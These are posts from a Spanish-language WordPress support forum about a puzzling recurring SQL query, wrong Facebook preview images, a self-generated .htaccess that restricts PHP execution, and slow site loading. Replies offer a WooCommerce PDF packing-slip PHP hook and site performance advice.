      La consulta en cuestión es esta:

      SELECT DISTINCT post_title, ID, post_type, post_name FROM wp_posts wposts
      LEFT JOIN wp_postmeta wpostmeta ON wposts.ID = wpostmeta.post_id
      LEFT JOIN wp_term_relationships ON (wposts.ID = wp_term_relationships.object_id)
      LEFT JOIN wp_term_taxonomy ON (wp_term_relationships.term_taxonomy_id = wp_term_taxonomy.term_taxonomy_id)
      WHERE (post_type=’page’ OR (wp_term_taxonomy.taxonomy = ‘category’ AND wp_term_taxonomy.term_id IN(65)))
      AND post_status = ‘publish’ AND LENGTH(post_title)>=5
      ORDER BY LENGTH(post_title) ASC LIMIT 500

      Entiendo lo que quiere hacer, pero el hecho de que su ejecución no sea constante, sino que se acumula a veces sin una razón concreta (no tiene por qué coincidir con un alto número de visitas) me tienen un poco mosca por si fuera algún plugin que a veces intenta hacer algo raro.

      ¿Alguien puede arrojarme algo de luz o aconsejarme alguna comprobación que hacer?

      Gracias de antemano

    • Hola, tengo una página web que publico frecuentemente en Facebook, el problema es que hago artículos para mi blog y cada vez que publico en Facebook sale siempre una misma imagen aunque yo cada vez que hago un artículo nuevo le pongo una imagen distinta. Lo depuro en Facebook y esto es lo que me sale:

      <meta charset=»UTF-8″ />
      <meta name=»description» content=»🏡 Servicio integral de Mantenimiento y Limpieza en Valladolid» />
      <meta name=»robots» content=»index, follow» />
      <meta name=»googlebot» content=»index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1″ />
      <meta name=»bingbot» content=»index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1″ />
      <meta property=»og:locale» content=»es_ES» />
      <meta property=»og:type» content=»article» />
      <meta property=»og:title» content=»Mantenimiento de la Piscina» />
      <meta property=»og:description» content=»🏡 Servicio integral de Mantenimiento y Limpieza en Valladolid» />
      <meta property=»og:url» content=»https://www.jesusjyl.com/piscina/» />
      <meta property=»og:site_name» content=»Jesusjyl» />
      <meta property=»article:publisher» content=»https://www.facebook.com/Jes%c3%bas-Jardiner%c3%ada-y-Limpieza-Valladolid-102044901422788/» />
      <meta property=»article:published_time» content=»2020-07-19T09:54:15+00:00″ />
      <meta property=»article:modified_time» content=»2020-07-19T09:58:26+00:00″ />
      <meta property=»og:image» content=»https://www.jesusjyl.com/wp-content/uploads/2020/03/LOGOTIPO.png» />
      <meta name=»twitter:card» content=»summary_large_image» />
      <meta name=»generator» content=»WordPress 5.4.2″ />
      <meta name=»generator» content=»Site Kit by Google 1.12.0″ />
      <meta name=»viewport» content=»width=device-width, initial-scale=1″ />
      <meta name=»viewport» content=»width=device-width, initial-scale=1.0, viewport-fit=cover» />

      He probado a poner en Yoast Seo una imagen predeterminada para forzar que aparezca la nueva imagen pero nada. Si me podéis ayudar os lo agradecería

      La página con la que necesito ayuda: [accede para ver el enlace]

    Hola @felinecrisis

    Lo primero seria evitar el redireccionamiento del dominio sin www.
    Si tu web lleva www lo defines en la configuracion si no lo eliminas.
    Despues tendras que aplicar un poco de WPO, cuando entre tardo 21s en cargar.
    Como puede ser un tema complejo, dependiendo del sitio, seria mejor que leeas articulos y mires videos al respecto.
    Luego empieza por lo basico, como puede ser en mejorar las imagenes, minificar archivos CSS y JS, etc…

    • Hola!

      Desde hace unos dias, se me crea solo un htaccess en la zona de wp-admin con el siguiente codigo:
      <FilesMatch «.*\.(phtml|php)$»>
      Order Allow,Deny
      Deny from all
      </FilesMatch>
      <FilesMatch «(index).php$»>
      Order Allow,Deny
      Allow from all
      </FilesMatch>

      Cree una carpoeta /test/ y me lo hace tambien, es decir, lo hace en todos los subdirectorios del proyecto :O

      He desactivado todos los plugins hasta el punto de que solo tengo estos:

      GDPR Cookie Consent
      Desactivar | Traducir | Ajustes | Soporte | Actualización Premium
      Un modo sencillo de mostrar que tu sitio cumple con la ley europea de cookies / RGPD.

      Versión 1.8.5 | Por WebToffee | Visitar la web del plugin
      Elige IN-VIEW-PORT
      IN-VIEW-PORT
      Desactivar | Traducir
      Detectar si un elemento pasado por parametros esta dendro del viewport. SHORT_CODE ()

      Versión 1.0.0 | Por RLOAD
      Elige Loco Translate
      Loco Translate
      Desactivar | Traducir
      Traduce temas y plugins directamente en WordPress

      Versión 2.3.1 | Por Tim Whitlock | Visitar la web del plugin
      Elige Salient Core
      Salient Core
      Desactivar | Traducir
      Core functionality required by the Salient theme. Adds the Salient collection of WPBakery page builder elements, template library and page/post options.

      Versión 1.4 | Por ThemeNectar | Visitar la web del plugin
      Elige Salient WPBakery Page Builder
      Salient WPBakery Page Builder
      Ajustes | Desactivar | Traducir
      Drag and drop page builder for WordPress. Take full control over your WordPress site, build any layout you can imagine – no programming knowledge required.

      Versión 6.1 | Por Michael M – WPBakery.com | Modified by ThemeNectar | Visitar la web del plugin
      Elige Simple Custom CSS and JS
      Simple Custom CSS and JS
      Ajustes | Desactivar | Traducir
      Añade fácilmente código CSS o JS a tu web con un fantástico editor

      Versión 3.29 | Por SilkyPress.com | Visitar la web del plugin
      Elige WP-Members
      WP-Members
      Ajustes | Desactivar | Traducir
      Restricción de acceso y registro de usuarios de WP. Para más información sobre las características del plugin, consulta la guía de usuarios online. También está disponible una guía de inicio rápido. WP-Members™ es una marca registrada de butlerblog.com.

      Versión 3.3.1 | Por Chad Butler | Visitar la web del plugin.

      A alguien le ha pasado algo parecido?

      La página con la que necesito ayuda: [accede para ver el enlace]

    Hola @pereztroff,

    Uso este plugin en el proyecto de un cliente. La forma más fácil de mostrar la descripción corta en el albarán es añadir el siguiente código en el archivo functions.php del tema que tengas activado:

    
    function wpo_wcpdf_show_product_description($template_type, $item, $order)
    {
    	if (empty($item['product'])) return;
    	$_product = $item['product']->is_type('variation') ? wc_get_product($item['product']->get_parent_id()) : $item['product'];
    	if (method_exists($_product, 'get_short_description')) {
    		$description = $_product->get_short_description();
    		printf('<div class="product-description">%s</div>', $description);
    	}
    }
    add_action('wpo_wcpdf_after_item_meta', 'wpo_wcpdf_show_product_description', 10, 3);
    

    Para que te muestra la descripción corta lógicamente tendrías que tener una en los productos mostrados en el albarán.

    Por otro lado, lo ideal es que tuvieras ese código en un plugin personalizado para que no pierdas la personalización en caso de que cambies de tema en el futuro.

    Espero que te sirva la información y, por favor, recuerda cambiar el estado del debate a «Resuelto» si consideras que he respondido a tu pregunta, así nos ayudas a mantener despejada el área de «debates no resueltos» 👍.

    Moderador Jose Luis

    (@jose64)

    Hola

    Tienes que optimizar la carga de la página, con estas herramientas obtienes diferentes diagnósticos que te pueden ayudar con eso, por ejemplo Pingdoom Tools, GTmetrix o WebPageTest o FastOrSlow. Después de ejecutarlos verás los puntos que tienes que corregir.

    Lo más importante:

    • El servidor que estás usando está en Singapur, la peor elección por estar prácticamente en las antípodas de Bolivia. Eso es posible que no puedas corregirlo sin tener que cambiar de proveedor de hosting o contratar un CDN, pero afecta gravemente al tiempo de carga para cualquier usuario que no esté en el sudeste asiático.
    • Activar la compresión Gzip
    • Optimizar las imágenes

    Con algún plugin de caché y optimización puedes corregir otros errores, como mejorar la carga de CSS y JS.

    Si buscas en internet información sobre WPO encontrarás mucha información, por ejemplo:

    WPO básico para optimizar WordPress

    Consejos para WPO en WordPress

    Puedes comentarnos como van tus progresos, y una vez lo tengas claro, por favor, recuerda cerrar el debate marcándolo como resuelto, así nos ayudas a mantener el foro al día.

Viendo 15 resultados - del 31 al 45 (de un total de 215)